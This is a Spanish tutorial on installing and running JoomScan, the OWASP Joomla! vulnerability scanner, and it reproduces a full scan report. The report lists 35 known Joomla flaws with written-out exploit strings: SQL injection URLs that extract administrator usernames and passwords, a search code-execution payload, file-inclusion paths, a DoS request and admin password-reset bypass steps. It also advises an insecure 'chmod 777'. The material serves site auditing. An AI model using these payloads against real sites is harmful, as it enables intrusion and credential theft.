En la actualidad disponemos de algunas herramientas para la búsqueda de vulnerablidades web, quizás una de las más prometedoras pueda ser skipfish de Google, aunque otras más afamadas ya cumplen bastante bien ese mismo objetivo como es el caso de w3af (Web Application Attack and Audit Framework).
En este caso vamos a hablar de JoomScan, una aplicación que ejecutada desde consola (a través de interface web) nos permite localizar vulnerabilidades web conocidas para este CMS. Está escrita en Perl (como todo buen script que se precie) y permite la actualización por svn.
* Permite detectar la versión de Joomla! que se está ejecutando.
* Escanea y localiza vulnerabilidades conocidas en Joomla! y sus extensiones.
* Presenta informes en formato texto o HTML.
* Permite su actualización inmediata a través de un escáner o svn.
* Detecta vulnerabilidades de tipo: SQL injection, LFI, RFI, XSS entre otros.
Requisitos:
* Perl 5.6 o superior
* libwww-perl
* libtest-www-mechanize-perl
$ sudo apt-get install perl libwww-perl libtest-www-mechanize-perl
Podemos descargar el script de la siguiente url: http://sourceforge.net/projects/joomscan/files/joomscan/latest/joomscan-latest.zip/download
Una vez descomprimido en nuestro /home/usuario (por ejemplo):
$ cd joomscan-latest
Le otorgamos los permisos necesarios para su ejecución y escritura de resultados:
$ chmod 777 joomscan.pl
Posteriormente lo actualizamos:
$ ./joomscan.pl update
Realizamos un escaneo de una determinada web:
$ ./joomscan.pl -u www.la_web_a_escanear.com
Obtendremos por consola el resultado del análisis de la siguiente forma: {vulnerabilidad, descripción de la misma, SI es o NO es vulnerable}, algo que principalmente nos servirá para detectar aquellas extensiones que tengamos desactualizadas o afectadas por alguna vulnerabilidad publicada. Este proceso tardará en función de la cantidad de extensiones que tengamos instaladas en nuestro Joomla!.
Resultados de escaneo de vulnerabilidades con JoomScan
..|»|| ‘|| ‘||’ ‘|’ | .|»’.| ‘||»|.
.|’ || ‘|. ‘|. .’ ||| ||.. ‘ || ||
|| || || || | | || »|||. ||…|’
‘|. || ||| ||| .»»|. . ‘|| ||
»|…|’ | | .|. .||. |’….|’ .||.
=================================================================
OWASP Joomla! Vulnerability Scanner v0.0.3-a
(c) Aung Khant, [email protected] Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
=================================================================
Vulnerability Entries: 466
Last update: August 18, 2009
Use «update» option to update the database
Use «check» option to check the scanner update
Use «download» option to download the scanner latest version package
Target: http://www.xxxxxxxxxx.xxx
Server: Apache
## Checking if the target has deployed an Anti-Scanner measure
[!] Scanning Passed ….. OK
## Detecting Joomla! based Firewall …
[!] No known firewall detected!
## Fingerprinting in progress …
~Generic version family ……. [1.5.x]
~1.5.x configuration.php-dist revealed [1.5.10 – 1.5.14]
~1.5.x en-GB.ini revealed [1.5.12 – 1.5.14]
~1.5.x admin en-GB.com_config.ini revealed [1.5.12 – 1.5.14]
~1.5.x adminlists.html revealed [1.5.7 – 1.5.14]
* Deduced version range is : [1.5.12 – 1.5.14]
## Fingerprinting done.
## 9 Components Found in front page ##
com_facileforms com_content
com_jevents com_phocagallery com_phocadownload
com_remository com_taxonomy com_portfolio
com_sefservicemap
Vulnerabilities Discovered
==========================
# 1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed.
Vulnerable? Yes
# 2
Info -> Generic: Unprotected Administrator directory
Versions Affected: Any
Check: /administrator/
Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator accounts. Read: http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20PROTECT.pdf
Vulnerable? N/A
# 3
Info -> Core: Multiple XSS/CSRF Vulnerability
Versions Affected: 1.5.9 <=
Check: /?1.5.9-x
Exploit: A series of XSS and CSRF faults exist in the administrator application. Affected administrator components include com_admin, com_media, com_search. Both com_admin and com_search contain XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities.
Vulnerable? No
# 4
Info -> Core: JSession SSL Session Disclosure Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /?1.5.8-x
Exploit: When running a site under SSL (the entire site is forced to be under ssl), Joomla! does not set the SSL flag on the cookie. This can allow someone monitoring the network to find the cookie related to the session.
Vulnerable? No
# 5
Info -> Core: Frontend XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /?1.5.10-x
Exploit: Some values were output from the database without being properly escaped. Most strings in question were sourced from the administrator panel. Malicious normal admin can leverage it to gain access to super admin.
Vulnerable? No
# 6
Info -> Core: Missing JEXEC Check – Path Disclosure Vulnerability
Versions effected: 1.5.11 <=
Check: /libraries/phpxmlrpc/xmlrpcs.php
Exploit: /libraries/phpxmlrpc/xmlrpcs.php
Vulnerable? No
# 7
Info -> Core: Missing JEXEC Check – Path Disclosure Vulnerability
Versions effected: 1.5.12 <=
Check: /libraries/joomla/utilities/compat/php50x.php
Exploit: /libraries/joomla/utilities/compat/php50x.php
Vulnerable? No
# 8
Info -> Core: Frontend XSS – PHP_SELF not properly filtered Vulnerability
Versions effected: 1.5.11 <=
Check: /?1.5.11-x-php-s3lf
Exploit: An attacker can inject JavaScript code in a URL that will be executed in the context of targeted user browser.
Vulnerable? No
# 9
Info -> Core: Authentication Bypass Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /administrator/
Exploit: Backend accepts any password for custom Super Administrator when LDAP enabled
Vulnerable? No
# 10
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-path-disclose
Exploit: Crafted URL can disclose absolute path
Vulnerable? No
# 11
Info -> Core: User redirected Spamming Vulnerability
Versions effected: Joomla! 1.5.3 <=
Check: /?1.5.3-spam
Exploit: User redirect spam
Vulnerable? No
# 12
Info -> Core: joomla.php Remote File Inclusion Vulnerability
Versions effected: 1.0.0
Check: /includes/joomla.php
Exploit: /includes/joomla.php?includepath=
Vulnerable? No
# 13
Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
Versions effected: 1.0.13 <=
Check: /administrator/
Exploit: It requires an administrator to be logged in and to be tricked into a specially crafted webpage.
Vulnerable? Yes
# 14
Info -> Core: Path Disclosure Vulnerability
Versions effected: Joomla! 1.5.12 <=
Check: /libraries/joomla/utilities/compat/php50x.php
Exploit: /libraries/joomla/utilities/compat/php50x.php
Vulnerable? No
# 15
Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local Directory Traversal Vulnerability
Versions effected: Joomla! 1.5.8 <=
Check: /plugins/editors/xstandard/attachmentlibrary.php
Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to /plugins/editors/xstandard/attachmentlibrary.php
Vulnerable? No
# 16
Info -> CoreTemplate: ja_purity XSS Vulnerability
Versions effected: 1.5.10 <=
Check: /templates/ja_purity/
Exploit: A XSS vulnerability exists in the JA_Purity template which ships with Joomla! 1.5.
Vulnerable? No
# 17
Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability
Versions effected: Joomla! 1.5.0 Beta/Stable
Check: /libraries/phpmailer/phpmailer.php
Exploit: N/A
Vulnerable? No
# 18
Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities
Versions effected: Joomla! 1.5.12
Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploits/9296
Vulnerable? Yes
# 19
Info -> CoreComponent: Joomla Remote Admin Password Change Vulnerability
Versions Affected: 1.5.5 <=
Check: /components/com_user/controller.php
Exploit: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write into field «token» char ‘ and Click OK. 3. Write new password for admin 4. Go to url : target.com/administrator/ 5. Login admin with new password
Vulnerable? No
# 20
Info -> CoreComponent: com_content SQL Injection Vulnerability
Version Affected: Joomla! 1.0.0 <=
Check: /components/com_content/
Exploit: /index.php?option=com_content&task=blogcategory&id=60&Itemid=99999+UNION+SELECT+1,concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e),3,4,5+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72–
Vulnerable? No
# 21
Info -> CoreComponent: com_search Remote Code Execution Vulnerability
Version Affected: Joomla! 1.5.0 beta 2 <=
Check: /components/com_search/
Exploit: /index.php?option=com_search&Itemid=1&searchword=%22%3Becho%20md5(911)%3B
Vulnerable? No
# 22
Info -> CoreComponent: com_admin File Inclusion Vulnerability
Versions Affected: N/A
Check: /administrator/components/com_admin/admin.admin.html.php
Exploit: /administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=
Vulnerable? No
# 23
Info -> CoreComponent: MailTo SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_mailto/
Exploit: /index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)+from+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72–&Itemid=1
Vulnerable? No
# 24
Info -> CoreComponent: com_content Blind SQL Injection Vulnerability
Versions effected: Joomla! 1.5.0 RC3
Check: /components/com_content/
Exploit: /index.php?option=com_content&view=%’ +’a’=’a&id=25&Itemid=28
Vulnerable? No
# 25
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_content/
Exploit: The defaults on com_content article submission allow entry of dangerous HTML tags (script, etc). This only affects users with access level Author or higher, and only if you have not set filtering options in com_content configuration.
Vulnerable? No
# 26
Info -> CoreComponent: com_weblinks XSS Vulnerability
Version Affected: Joomla! 1.5.7 <=
Check: /components/com_weblinks/
Exploit: [Requires valid user account] com_weblinks allows raw HTML into the title and description tags for weblink submissions (from both the administrator and site submission forms).
Vulnerable? No
# 27
Info -> CoreComponent: com_mailto Email Spam Vulnerability
Version Affected: Joomla! 1.5.6 <=
Check: /components/com_mailto/
Exploit: The mailto component does not verify validity of the URL prior to sending.
Vulnerable? No
# 28
Info -> CoreComponent: com_content view=archive SQL Injection Vulnerability
Versions effected: Joomla! 1.5.0 Beta1/Beta2/RC1
Check: /components/com_content/
Exploit: Unfiltered POST vars – filter, month, year to /index.php?option=com_content&view=archive
Vulnerable? No
# 29
Info -> CoreComponent: com_content XSS Vulnerability
Version Affected: Joomla! 1.5.9 <=
Check: /components/com_content/
Exploit: A XSS vulnerability exists in the category view of com_content.
Vulnerable? No
# 30
Info -> CoreComponent: com_installer CSRF Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /administrator/components/com_installer/
Exploit: N/A
Vulnerable? No
# 31
Info -> CoreComponent: com_search Memory Comsumption DoS Vulnerability
Versions effected: Joomla! 1.5.0 Beta
Check: /components/com_search/
Exploit: N/A
Vulnerable? No
# 32
Info -> CoreComponent: com_poll (mosmsg) Memory Consumption DOS Vulnerability
Versions effected: 1.0.7 <=
Check: /components/com_poll/
Exploit: Send request /index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AAA<><>
Vulnerable? No
# 33
Info -> CoreComponent: com_banners Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_banners/
Exploit: /index.php?option=com_banners&task=archivesection&id=0’+and+’1’=’1::/index.php?option=com_banners&task=archivesection&id=0’+and+’1’=’2
Vulnerable? No
# 34
Info -> CoreComponent: com_mailto timeout Vulnerability
Versions effected: 1.5.13 <=
Check: /components/com_mailto/
Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass timeout protection against sending automated emails.
Vulnerable? Yes
# 35
Info -> Component: Facile Forms SQL Injection Vulnerability
Versions Affected: 1.4.6 <=
Check: /components/com_facileforms/
Exploit: /index.php?option=com_facileforms&Itemid=640&user_id=107&catid=-9999999+UNION+SELECT+concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e)+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72–
Vulnerable? No
Limitaciones de la herramienta:
* La base de datos aún carece de la posibilidad de detectar vulnerabilidades desconocidas
* Carece de métodos evasión de IDS por o que podría ser bloqueado en la tarea de detección por herramientas como JFirewall o JSecure.
* No es una herramienta completa para la detección de ataques de inyección SQL.
Demasiado tiempo desactualizada la base de datos del svn del proyecto lo que implica que muchas vulnerabilidades surgidas desde agosto de 2009 no estén incorporadas a su base de conocimiento.
El proyecto JoomScan está patrocinado por el Grupo YGN Ethical Hacker, Myanma.